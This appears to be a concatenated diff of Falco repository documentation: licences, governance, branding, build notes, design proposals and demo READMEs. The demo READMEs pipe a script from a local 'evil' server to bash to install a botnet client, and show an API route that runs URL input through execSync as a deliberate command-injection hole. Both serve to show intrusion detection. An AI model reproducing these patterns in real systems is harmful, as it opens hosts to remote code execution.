+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+* In addition, as a special exception, the copyright holders give
+* permission to link the code of portions of this program with the
+* OpenSSL library under certain conditions as described in each
+* individual source file, and distribute linked combinations
+* including the two.
+* You must obey the GNU General Public License in all respects
+* for all of the code used other than OpenSSL.  If you modify
+* file(s) with this exception, you may extend this exception to your
+* version of the file(s), but you are not obligated to do so.  If you
+* do not wish to do so, delete this exception statement from your
+* version.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License along
+    with this program; if not, write to the Free Software Foundation, Inc.,
+    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.

-# Process for becoming a maintainer
-
-* Express interest to the existing maintainers that you or your organization is interested in becoming a
-  maintainer. Becoming a maintainer generally means that you are going to be spending substantial
-  time (>25%) on Falco for the foreseeable future. You should have domain expertise and be extremely
-  proficient in C++. Ultimately your goal is to become a maintainer that will represent your
-  organization.
-* We will expect you to start contributing increasingly complicated PRs, under the guidance
-  of the existing maintainers.
-* We may ask you to do some PRs from our backlog.
-* As you gain experience with the code base and our standards, we will ask you to do code reviews
-  for incoming PRs (i.e., all maintainers are expected to shoulder a proportional share of
-  community reviews).
-* After a period of approximately 2-3 months of working together and making sure we see eye to eye,
-  the existing maintainers will confer and decide whether to grant maintainer status or not.
-  We make no guarantees on the length of time this will take, but 2-3 months is the approximate
-  goal.
-
-## Maintainer responsibilities
-
-* Monitor Slack (delayed response is perfectly acceptable).
-* Triage GitHub issues and perform pull request reviews for other maintainers and the community.
-* During GitHub issue triage, apply all applicable [labels](https://github.com/falcosecurity/falco/labels)
-  to each new issue. Labels are extremely useful for future issue follow up. Which labels to apply
-  is somewhat subjective so just use your best judgment.
-* Make sure that ongoing PRs are moving forward at the right pace or closing them.
-* Participate when called upon in the security releases. Note that although this should be a rare
-  occurrence, if a serious vulnerability is found, the process may take up to several full days of
-  work to implement. This reality should be taken into account when discussing time commitment
-  obligations with employers.
-* In general continue to be willing to spend at least 25% of ones time working on Falco (~1.25
-  business days per week).
-
-## When does a maintainer lose maintainer status
-
-If a maintainer is no longer interested or cannot perform the maintainer duties listed above, they
-should volunteer to be moved to emeritus status. In extreme cases this can also occur by a vote of
-the maintainers per the voting process below.
-
-# Conflict resolution and voting
-
-In general, we prefer that technical issues and maintainer membership are amicably worked out
-between the persons involved. If a dispute cannot be decided independently, the maintainers can be
-called in to decide an issue. If the maintainers themselves cannot decide an issue, the issue will
-be resolved by voting. The voting process is a simple majority in which each senior maintainer
-receives two votes and each normal maintainer receives one vote.
-
-# Adding new projects to the falcosecurity GitHub organization
-
-New projects will be added to the falcosecurity organization via GitHub issue discussion in one of the
-existing projects in the organization. Once sufficient discussion has taken place (~3-5 business
-days but depending on the volume of conversation), the maintainers of *the project where the issue
-was opened* (since different projects in the organization may have different maintainers) will
-decide whether the new project should be added. See the section above on voting if the maintainers
-cannot easily decide.

-Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Falco audits a system at the most fundamental level, the kernel. Falco then enriches this data with other input streams such as container runtime metrics, and Kubernetes metrics. Falco lets you continuously monitor and detect container, application, host, and network activity—all in one place—from one source of data, with one set of rules.
-
-Falco is hosted by the Cloud Native Computing Foundation (CNCF) as a sandbox level project. If you are an organization that wants to help shape the evolution of technologies that are container-packaged, dynamically-scheduled and microservices-oriented, consider joining the CNCF. For details read the [Falco CNCF project proposal](https://github.com/cncf/toc/tree/master/proposals/falco.adoc).
+## Overview
+Sysdig Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Powered by sysdig’s system call capture infrastructure, falco lets you continuously monitor and detect container, application, host, and network activity... all in one place, from one source of data, with one set of rules.
 
 #### What kind of behaviors can Falco detect?
 
-Falco can detect and alert on any behavior that involves making Linux system calls. Falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, Falco can easily detect incidents including but not limited to:
+Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
 
-- A shell is running inside a container.
-- A container is running in privileged mode, or is mounting a sensitive path, such as `/proc`, from the host.
-- A server process is spawning a child process of an unexpected type.
-- Unexpected read of a sensitive file, such as `/etc/shadow`.
-- A non-device file is written to `/dev`.
-- A standard system binary, such as `ls`, is making an outbound network connection.

-# Falco Release Process
-
-Our release process is mostly automated, but we still need some manual steps to initiate and complete it.
-
-Changes and new features are grouped in [milestones](https://github.com/falcosecurity/falco/milestones), the milestone with the next version represents what is going to be released. 
-
-Releases happen on a monthly cadence, towards the 16th of the on-going month, and we need to assign owners for each (usually we pair a new person with an experienced one). Assignees and the due date are proposed during the [weekly community call](https://github.com/falcosecurity/community). Note that hotfix releases can happen as soon as it is needed.
-
-Finally, on the proposed due date the assignees for the upcoming release proceed with the processes described below.
-

-# Falco Branding Guidelines
-
-This document describes The Falco Project's branding guidelines, language, and message.
-
-Content in this document can be used to publically share about Falco.
-
-
-
-### Logo
-
-There are 3 logos available for use in this directory. Use the primary logo unless required otherwise due to background issues, or printing.
-
-The Falco logo is Apache 2 licensed and free to use in media and publication for the CNCF Falco project.
-
-### Slogan
-
-> Cloud Native Runtime Security
-
-### What is Falco?
-
-Falco is a runtime security project originally created by Sysdig, Inc.
-Falco was contributed to the CNCF in October 2018.
-The CNCF now owns The Falco Project.
-
-### What is Runtime Security?
-
-Runtime security refers to an approach to preventing unwanted activity on a computer system. 
-With runtime security, an operator deploys **both** prevention tooling (access control, policy enforcement, etc) along side detection tooling (systems observability, anomaly detection, etc).
-Runtime security is the practice of using detection tooling to detect unwanted behavior, such that it can then be prevented using prevention techniques.
-Runtime security is a holistic approach to defense, and useful in scenarios where prevention tooling either was unaware of an exploit or attack vector, or when defective applications are ran in even the most secure environment.
-
-### What does Falco do?
-
-Falco consumes signals from the Linux kernel, and container management tools such as Docker and Kubernetes.
-Falco parses the signals and asserts them against security rules.
-If a rule has been violated, Falco triggers an alert. 
-
-### How does Falco work?
-
-Falco traces kernel events and reports information about the system calls being executed at runtime.
-Falco leverages the extended berkley packet filter (eBPF) which is a kernel feature implemented for dynamic crash-resilient and secure code execution in the kernel. 
-Falco enriches these kernel events with information about containers running on the system.
-Falco also can consume signals from other input streams such as the containerd socket, the Kubernetes API server and the Kubernetes audit log.
-At runtime, Falco will reason about these events and assert them against configured security rules.
-Based on the severity of a violation an alert is triggered.
-These alerts are configurable and extensible, for instance sending a notification or [plumbing through to other projects like Prometheus](https://github.com/falcosecurity/falco-exporter). 
-
-### Benefits of using Falco
-
- - **Strengthen Security** Create security rules driven by a context-rich and flexible engine to define unexpected application behavior.
- - **Reduce Risk** Immediately respond to policy violation alerts by plugging Falco into your current security response workflows and processes.
- - **Leverage up-to-date Rules** Alert using community-sourced detections of malicious activity and CVE exploits.
-    
-### Falco and securing Kubernetes
-
-Securing Kubernetes requires putting controls in place to detect unexpected behavior that could be malicious or harmful to a cluster or application(s). 
-
-Examples of malicious behavior include: 
-
- - Exploits of unpatched and new vulnerabilities in applications or Kubernetes itself. 
- - Insecure configurations in applications or Kubernetes itself. 
- - Leaked or weak credentials or secret material.
- - Insider threats from adjacent applications running at the same layer. 
-
-Falco is capable of [consuming the Kubernetes audit logs](https://kubernetes.io/docs/tasks/debug-application-cluster/falco/#use-falco-to-collect-audit-events).
-By adding Kubernetes application context, and Kubernetes audit logs teams can understand who did what.
-                                 
-### Writing about Falco
-
-##### Yes
-
-Notice the capitalization of the following terms.
-
- - The Falco Project
- - Falco
-
-##### No
-
- - falco
- - the falco project
- - the Falco project
-
-### Encouraged Phrasing
-
-Below are phrases that the project has reviewed, and found to be effective ways of messaging Falco's value add.
-Even when processes are in place for vulnerability scanning and implementing pod security and network policies, not every risk will be addressed. You still need mechanisms to confirm these security barriers are effective, help configure them, and provide with a last line of defense when they fail.
-
-##### Falco as a factory
-
-This term refers to the concept that Falco is a stateless processing engine. A large amount of data comes into the engine, but meticulously crafted security alerts come out.
-
-##### The engine that powers...
-
-Falco ultimately is a security engine. It reasons about signals coming from a system at runtime, and can alert if an anomaly is detected.
-
-##### Anomaly detection
-
-This refers to an event that occurs with something unsual, concerning, or odd occurs.
-We can associate anomalies with unwanted behavior, and alert in their presence.
-
-##### Detection tooling
-
-Falco does not prevent unwanted behavior.
-Falco however alerts when unusual behavior occurs.
-This is commonly referred to as **detection** or **forensics**.

-# Glossary 
-
-#### Probe
-
-Used to describe the `.o` object that would be dynamically loaded into the kernel as a secure and stable (e)BPF probe. 
-This is one option used to pass kernel events up to userspace for Falco to consume.
-Sometimes this word is incorrectly used to refer to a `module`.
-
-#### Module
-
-Used to describe the `.ko` object that would be loaded into the kernel as a potentially risky kernel module.
-This is one option used to pass kernel events up to userspace for Falco to consume.
-Sometimes this word is incorrectly used to refer to a `probe`.
-
-#### Driver 
-
-The global term for the software that sends events from the kernel. Such as the eBPF `probe` or the `kernel module`.
-
-#### Falco
-
-The name of the project, and also the name of [the main engine](https://github.com/falcosecurity/falco) that the rest of the project is built on.
-
-#### Sysdig, Inc
-
-The name of the company that originally created The Falco Project, and later donated to the CNCF.
-
-#### sysdig 
-
-A [CLI tool](https://github.com/draios/sysdig) used to evaluate kernel system events at runtime.

In order to clarify the intellectual property license granted with Contributions from any person or entity, you must agree to the license terms below in order to contribute code back to our repositories. This license is for your protection as a Contributor as well as the protection of Sysdig; it does not change your rights to use your own Contributions for any other purpose. To indicate your Agreement, follow the procedure set forth below under TO AGREE, after reading this Agreement.
+
+You accept and agree to the following terms and conditions for Your present and future Contributions submitted to Draios/Sysdig.

+1. Definitions.  "You" (or "Your") shall mean the individual natural person and copyright owner who is making this Agreement with Draios/Sysdig. “You” excludes legal entities such as corporations, and Draios/Sysdig provides a separate CLA for corporations or other entities. "Contribution" shall mean any original work of authorship, including any modifications or additions to an existing work, that is intentionally submitted by You to Draios/Sysdig for inclusion in, or documentation of, any of the products owned or managed by Draios/Sysdig (the "Work"). For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to Draios/Sysdig or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, Draios/Sysdig for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by You as "Not a Contribution."
+
+2. Grant of Copyright License. Subject to the terms and conditions of this Agreement, You hereby grant to Draios/Sysdig and to recipients of software distributed by Draios/Sysdig a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Your Contributions and such derivative works.
+
+3. Grant of Patent License. Subject to the terms and conditions of this Agreement, You hereby grant to Draios/Sysdig and to recipients of software distributed by Draios/Sysdig a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims that You have the right to license and that are necessarily infringed by Your Contribution(s) alone or by combination of Your Contribution(s) with the Work to which such Contribution(s) was submitted. If any entity other than Draios/Sysdig institutes patent litigation against You or any other entity (including a cross-claim or counterclaim in a lawsuit) alleging that your Contribution, or the Work to which you have contributed, constitutes direct or contributory patent infringement, then any patent licenses granted to that entity under this Agreement for that Contribution or Work shall terminate as of the date such litigation is filed.
+
+4. You represent to Draios/Sysdig that You are legally entitled to grant the licenses set forth above.
+
+5. You represent that each of Your Contributions is Your original creation unless you act according to section 7 below. You represent that Your Contribution submissions include complete details of any third-party license or other restriction (including, but not limited to, related patents and trademarks) of which You are personally aware and which are associated with any part of Your Contributions. You represent that Your sign-off indicating assent to this Agreement includes your real name and not a pseudonym, and that you shall not attempt or make an anonymous Contribution.
+
+6. You are not expected to provide support for Your Contributions, except to the extent You desire to provide support. You may provide support for free, for a fee, or not at all. Unless required by applicable law or agreed to in writing, You provide Your Contributions to Draios/Sysdig on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON- INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE.

If You wish to submit work that is not Your original creation, You may submit it to Draios/Sysdig separately from any Contribution, identifying the complete details of its source and of any license or other restriction (including, but not limited to, related patents, trademarks, and license agreements) of which you are personally aware, and conspicuously marking the work as "Submitted on behalf of a third-party: [named here]".
+
+8. You agree to notify Draios/Sysdig of any facts or circumstances of which you become aware that would make these representations inaccurate in any respect.
+
+9. You understand and agree that this project and Your Contribution are public and that a record of the contribution, including all personal information that I submit with it, including my sign-off, may be stored by Draios/Sysdig indefinitely and may be redistributed to others.

+
+1. Definitions.  "You" (or "Your") shall mean the contributing entity that has authored or otherwise has the right to contribute the Contribution, and that is making this Agreement with Draios/Sysdig. "Contribution" shall mean any original work of authorship, including any modifications or additions to an existing work, that is intentionally submitted by You to Draios/Sysdig for inclusion in, or documentation of, any of the products owned or managed by Draios/Sysdig (the "Work").

-Catch
------
-
-This module defines a function to help use the Catch test framework.
-
-The :command:`catch_discover_tests` discovers tests by asking the compiled test
-executable to enumerate its tests.  This does not require CMake to be re-run
-when tests change.  However, it may not work in a cross-compiling environment,
-and setting test properties is less convenient.
-
-This command is intended to replace use of :command:`add_test` to register
-tests, and will create a separate CTest test for each Catch test case.  Note
-that this is in some cases less efficient, as common set-up and tear-down logic
-cannot be shared by multiple test cases executing in the same instance.
-However, it provides more fine-grained pass/fail information to CTest, which is
-usually considered as more beneficial.  By default, the CTest test name is the
-same as the Catch name; see also ``TEST_PREFIX`` and ``TEST_SUFFIX``.
-
-.. command:: catch_discover_tests
-
-  Automatically add tests with CTest by querying the compiled test executable
-  for available tests::
-
-    catch_discover_tests(target
-                         [TEST_SPEC arg1...]
-                         [EXTRA_ARGS arg1...]
-                         [WORKING_DIRECTORY dir]
-                         [TEST_PREFIX prefix]
-                         [TEST_SUFFIX suffix]
-                         [PROPERTIES name1 value1...]
-                         [TEST_LIST var]
-    )
-
-  ``catch_discover_tests`` sets up a post-build command on the test executable
-  that generates the list of tests by parsing the output from running the test
-  with the ``--list-test-names-only`` argument.  This ensures that the full
-  list of tests is obtained.  Since test discovery occurs at build time, it is
-  not necessary to re-run CMake when the list of tests changes.
-  However, it requires that :prop_tgt:`CROSSCOMPILING_EMULATOR` is properly set
-  in order to function in a cross-compiling environment.
-
-  Additionally, setting properties on tests is somewhat less convenient, since
-  the tests are not available at CMake time.  Additional test properties may be
-  assigned to the set of tests as a whole using the ``PROPERTIES`` option.  If
-  more fine-grained test control is needed, custom content may be provided
-  through an external CTest script using the :prop_dir:`TEST_INCLUDE_FILES`
-  directory property.  The set of discovered tests is made accessible to such a
-  script via the ``<target>_TESTS`` variable.
-
-  The options are:
-
-  ``target``
-    Specifies the Catch executable, which must be a known CMake executable
-    target.  CMake will substitute the location of the built executable when
-    running the test.
-
-  ``TEST_SPEC arg1...``
-    Specifies test cases, wildcarded test cases, tags and tag expressions to
-    pass to the Catch executable with the ``--list-test-names-only`` argument.
-
-  ``EXTRA_ARGS arg1...``
-    Any extra arguments to pass on the command line to each test case.
-
-  ``WORKING_DIRECTORY dir``
-    Specifies the directory in which to run the discovered test cases.  If this
-    option is not provided, the current binary directory is used.
-
-  ``TEST_PREFIX prefix``
-    Specifies a ``prefix`` to be prepended to the name of each discovered test
-    case.  This can be useful when the same test executable is being used in
-    multiple calls to ``catch_discover_tests()`` but with different
-    ``TEST_SPEC`` or ``EXTRA_ARGS``.
-
-  ``TEST_SUFFIX suffix``
-    Similar to ``TEST_PREFIX`` except the ``suffix`` is appended to the name of
-    every discovered test case.  Both ``TEST_PREFIX`` and ``TEST_SUFFIX`` may
-    be specified.
-
-  ``PROPERTIES name1 value1...``
-    Specifies additional properties to be set on all tests discovered by this
-    invocation of ``catch_discover_tests``.
-
-  ``TEST_LIST var``
-    Make the list of tests available in the variable ``var``, rather than the
-    default ``<target>_TESTS``.  This can be useful when the same test
-    executable is being used in multiple calls to ``catch_discover_tests()``.
-    Note that this variable is only available in CTest.

-| [falcosecurity/falco-builder:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-builder) | docker/builder | The complete build tool chain for compiling Falco from source. See [the documentation](https://falco.org/docs/source/) for more details on building from source. Used to build Falco (CI). | 
-| [falcosecurity/falco-tester:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-tester) | docker/tester | Container image for running the Falco test suite. Used to run Falco integration tests (CI). |

-
-> Note: `falco-builder`, `falco-tester` (and the `docker/local` image that it's built on the fly) are not integrated into the release process because they are development and CI tools that need to be manually pushed only when updated.

-Hello, this is the Falco builder container.
-
-How to use.
-
-    The default commands for the Falco builder image reports usage and environment info.
-    * docker run falcosecurity/falco-builder
-    * docker run falcosecurity/falco-builder usage
-
-    It supports bash.
-    * docker run -ti falcosecurity/falco-builder bash
-
-    To build Falco it needs:
-    - a bind-mount on the source directory (ie., the directory containing Falco and sysdig source as siblings)
-
-    Optionally, you can also bind-mount the build directory.
-    So, you can execute it from the Falco root directory as follows.
-
-    * docker run -v $PWD/..:/source -v $PWD/build:/build falcosecurity/falco-builder cmake
-    * docker run -v $PWD/..:/source -v $PWD/build:/build falcosecurity/falco-builder [<cmake-target-x>, ..., <cmake-target-y>]
-
-    Eg.,
-    * docker run -v $PWD/..:/source -v $PWD/build:/build falcosecurity/falco-builder tests
-    * docker run -v $PWD/..:/source -v $PWD/build:/build falcosecurity/falco-builder install
-
-How to build.
-
-    * cd docker/builder && DOCKER_BUILDKIT=1 docker build -t falcosecurity/falco-builder .
-
-    In case you want to customise the builder at build time the following build arguments are provided:
-    - BUILD_TYPE                whether you want a "release" or "debug" build (defaults to "release").
-    - BUILD_DRIVER              whether to build the driver or not (defaults to "OFF")
-    - BUILD_BPF                 whether to build the BPF driver or not (defaults to "OFF")
-    - BUILD_WARNINGS_AS_ERRORS  whether to intend warnings as errors or not (defaults to "ON")
-    - MAKE_JOBS                 the number of jobs to use during make (defaults to "4")
-    - FALCO_VERSION             the version to label the build (built from git index in case it is missing)
-
-    It is possible to change these at runtime (in the container) since environment variables with the same names are provided, too.
-
-Environment.
-
-    * ${gccversion}
-    * cplusplus ${cppversion}
-    * ${cmakeversion}
-    * ${clangversion}

+# Example K8s Services for Falco
+
+The yaml file in this directory installs the following:
+ - Open Source Falco, as a DaemonSet. Falco is configured to communicate with the K8s API server via its service account, and changes its output to be K8s-friendly. It also sends to a slack webhook for the `#demo-falco-alerts` channel on our [public slack](https://sysdig.slack.com/messages/demo-falco-alerts/).
+ - The [Falco Event Generator](https://github.com/draios/falco/wiki/Generating-Sample-Events), as a deployment that ensures it runs on exactly 1 node.

+#Demo of falco with man-in-the-middle attacks on installation scripts
+
+For context, see the corresponding [blog post](http://sysdig.com/blog/making-curl-to-bash-safer) for this demo.
+
+## Demo architecture
+
+### Initial setup
+
+Make sure no prior `botnet_client.py` processes are lying around.
+
+### Start everything using docker-compose
+
+From this directory, run the following:
+
+```
+$ docker-compose -f demo.yml up
+```
+
+This starts the following containers:
+* apache: the legitimate web server, serving files from `.../mitm-sh-installer/web_root`, specifically the file `install-software.sh`.
+* nginx: the reverse proxy, configured with the config file `.../mitm-sh-installer/nginx.conf`.
+* evil_apache: the "evil" web server, serving files from `.../mitm-sh-installer/evil_web_root`, specifically the file `botnet_client.py`.
+* attacker_botnet_master: constantly trying to contact the botnet_client.py process.
+* falco: will detect the activities of botnet_client.py.
+
+### Download `install-software.sh`, see botnet client running
+
+Run the following to fetch and execute the installation script,
+which also installs the botnet client:
+
+```
+$ curl http://localhost/install-software.sh | bash
+```
+
+You'll see messages about installing the software. (The script doesn't actually install anything, the messages are just for demonstration purposes).
+
+Now look for all python processes and you'll see the botnet client running. You can also telnet to port 1234:
+
+```
+$ ps auxww  | grep python
+...
+root   19983  0.1  0.4  33992  8832 pts/1    S    13:34   0:00 python ./botnet_client.py
+
+$ telnet localhost 1234
+Trying ::1...
+Trying 127.0.0.1...
+Connected to localhost.
+Escape character is '^]'.
+```
+
+You'll also see messages in the docker-compose output showing that attacker_botnet_master can reach the client:
+
+```
+attacker_botnet_master | Trying to contact compromised machine...
+attacker_botnet_master | Waiting for botnet command and control commands...
+attacker_botnet_master | Ok, will execute "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec"
+attacker_botnet_master | **********Contacted compromised machine, sent botnet commands
+```
+
+At this point, kill the botnet_client.py process to clean things up.
+
+### Run installation script again using `fbash`, note falco warnings.
+
+If you run the installation script again:
+
+```
+curl http://localhost/install-software.sh | ./fbash
+```
+
+In the docker-compose output, you'll see the following falco warnings:
+
+```
+falco                  | 23:19:56.528652447: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=127.0.0.1:43639->127.0.0.1:9090)

+#Demo of falco with bash exec via poorly designed REST API.
+
+## Introduction
+
+This example shows how a server could have a poorly designed API that
+allowed a client to execute arbitrary programs on the server, and how
+that behavior can be detected using Sysdig Falco.
+
+`server.js` in this directory defines the server. The poorly designed
+API is this route handler:
+
+```javascript
+router.get('/exec/:cmd', function(req, res) {
+    var output = child_process.execSync(req.params.cmd);
+    res.send(output);
+});
+
+app.use('/api', router);
+```
+
+It blindly takes the url portion after `/api/exec/<cmd>` and tries to
+execute it. A horrible design choice(!), but allows us to easily show
+Sysdig falco's capabilities.
+
+## Demo architecture
+
+### Start everything using docker-compose
+
+From this directory, run the following:
+
+```
+$ docker-compose -f demo.yml up
+```
+
+This starts the following containers:
+
+* express_server: simple express server exposing a REST API under the endpoint `/api/exec/<cmd>`.
+* falco: will detect when you execute a shell via the express server.
+
+### Access urls under `/api/exec/<cmd>` to run arbitrary commands.
+
+Run the following commands to execute arbitrary commands like 'ls', 'pwd', etc:
+
+```
+$ curl http://localhost:8080/api/exec/ls
+
+demo.yml
+node_modules
+package.json
+README.md
+server.js
+```
+
+```
+$ curl http://localhost:8080/api/exec/pwd
+
+.../examples/nodejs-bad-rest-api
+```
+
+### Try to run bash via `/api/exec/bash`, falco sends alert.
+
+If you try to run bash via `/api/exec/bash`, falco will generate an alert:
+
+```
+falco          | 22:26:53.536628076: Warning Shell spawned in a container other than entrypoint (user=root container_id=6f339b8aeb0a container_name=express_server shell=bash parent=sh cmdline=bash )

-## Summary
-
-We intend to build a simple gRPC server and SDKs - eg., [falco#785](https://github.com/falcosecurity/falco/issues/785) - to allow users receive and consume the alerts regarding the violated rules.
-
-## Motivation
-
-The most valuable information that Falco can give to its users are the alerts.
-
-An alert is an "output" when it goes over a transport, and it is emitted by Falco every time a rule is matched.
-
-At the current moment, however, Falco can deliver alerts in a very basic way, for example by dumping them to standard output.
-
-For this reason, many Falco users asked, with issues - eg., [falco#528](https://github.com/falcosecurity/falco/issues/528) - or in the [slack channel](https://sysdig.slack.com) if we can find a more consumable way to implement Falco outputs in an extensible way.
-
-The motivation behind this proposal is to design a new output implementation that can meet our user's needs.
-
-### Goals
-
-- To decouple the outputs from the Falco code base
-- To design and implement an additional output mode by mean of a gRPC **streaming** server
-- To keep it as simple as possible
-- To have a simple contract interface
-- To only have the responsibility to route Falco output requests and responses
-- To continue supporting the old output formats by implementing their same interface
-- To be secure by default (**mutual TLS** authentication)
-- To be **asynchronous** and **non-blocking**
-- To implement a Go SDK
-
-### Non-Goals
-
-- To substitute existing outputs (stdout, syslog, etc.)
-- To support different queing systems than the default (round-robin) one
-- To support queuing mechanisms for message retransmission
-  - Users can have a local gRPC relay server along with Falco that multiplexes connections and handles retires and backoff
-- To change the output format
-- To make the message context (text, fields, etc.) and format configurable
-  - Users can already override rules changing their output messages
-- To act as an orchestrator for Falco instances
-
-## Proposal
-
-### Use cases
-
-- Receive Falco events with a well-defined contract over wire
-- Integrate Falco events with existing alerting/paging mechanisms
-- Integrate Falco events with existing monitoring infrastructures/tools
-- Falco outputs SDKs for different languages
-
-### Diagrams
-
-The following sequence diagram illustrates the flow happening for a single rule being matched and the consequent alert through the gRPC output client.
-
-![Single alert sequence diagram](20190826-grpc-output-single-alert-sequence.png)
-
-### Design Details
-
-Here is the proto3 contracts definitions for the client and the server SDK.
-
-```proto3
-syntax = "proto3";
-
-import "google/protobuf/timestamp.proto";
-import "schema.proto";
-
-package falco.output;
-
-option go_package = "github.com/falcosecurity/client-go/pkg/api/output";
-
-// The `subscribe` service defines the RPC call
-// to perform an output `request` which will lead to obtain an output `response`.
-service service {
-  rpc subscribe(request) returns (stream response);
-}
-
-// The `request` message is the logical representation of the request model.
-// It is the input of the `subscribe` service.
-// It is used to configure the kind of subscription to the gRPC streaming server.
-message request {
-  bool keepalive = 1;
-  // string duration = 2; // TODO(leodido, fntlnz): not handled yet but keeping for reference.
-  // repeated string tags = 3; // TODO(leodido, fntlnz): not handled yet but keeping for reference.
-}
-
-// The `response` message is the logical representation of the output model.
-// It contains all the elements that Falco emits in an output along with the
-// definitions for priorities and source.
-message response {
-  google.protobuf.Timestamp time = 1;
-  falco.schema.priority priority = 2;
-  falco.schema.source source = 3;
-  string rule = 4;
-  string output = 5;
-  map<string, string> output_fields = 6;

-## Summary
-
-We want to make it easier for K8s Cluster Operators to Author Pod Security Policies by providing a way to read a PSP, convert it to a set of Falco rules, and then run Falco with those rules.
-
-## Motivation
-
-PSPs provide a rich powerful framework to restrict the behavior of pods and apply consistent security policies across a cluster, but it’s difficult to know the gap between what you want your security policy to be and what your cluster is actually doing. Additionally, since PSPs enforce once applied, they might prevent pods from running, and the process of tuning a PSP live on a cluster can be disruptive and painful.
-
-That's where Falco comes in. We want to make it possible for Falco to perform a "dry run" evaluation of a PSP, translating it to Falco rules that observe the behaviour of deployed pods and sending alerts for violations, *without* blocking. This helps accelerate the authoring cycle, providing a complete authoring framework for PSPs without deploying straight to the cluster.
-
-### Goals
-
-Transparently read a candidate PSP into an equivalent set of Falco rules that can look for the conditions in the PSP.
-
-The PSP is converted into a set of Falco rules which can be either saved as a file for later use/inspection, or loaded directly so they they can monitor system calls and k8s audit activity.
-
-### Non-Goals
-
-Falco will not automatically read PSPs from a cluster, will not install PSPs, and will not provide guidance on the parts of your infrastructure that are already covered by PSPs. This feature only helps with the testing part of a candidate PSP. For coming up with an initial PSP, you can use tools like [https://github.com/sysdiglabs/kube-psp-advisor](Kube PSP Advisor).
-
-The use case here is for cluster operators who want to author PSPs, but don't want to just put it in a cluster and see what breaks. For example, if your PSP sets privileged to false, but it turns out some of your pods are running privileged, they won't be able to start.
-
-With this feature, they could iterate without enforcement until they have a PSP that matches the actual behaviour of their cluster. Some of that will come from changing the PSP, some of that will come from changing the behaviour of the cluster. The important part is that it's not mistakenly preventing things from running while you're figuring it out.
-
-## Proposal
-
-### Use cases
-
-You'll be able to run falco with a `--psp` argument that provides a single PSP yaml file. Falco will automatically convert the PSP into an equivalent set of Falco rules, load the rules, and then run with the loaded rules. You can optionally provide a `--psp_save=<path>` command line option to save the converted rules to a file.
-
-### Diagrams
-
-No diagrams yet.
-
-### Design Details
-
-* We'll use [inja](https://github.com/pantor/inja) as the templating engine.
-
-* For the most part, we can rely on the existing framework of rules, filter expressions, and output expressions that already exist in Falco. One significant change will be that filter fields can extract more than one "value" per event, and we'll need to define new operators to perform set comparisions betweeen values in an event and values in the comparison right-hand-side.
-
-* This will rely heavily on existing support for [K8s Audit Events](https://falco.org/docs/event-sources/kubernetes-audit/) in Falco.

-# Falco APIs
-
-## Summary
-
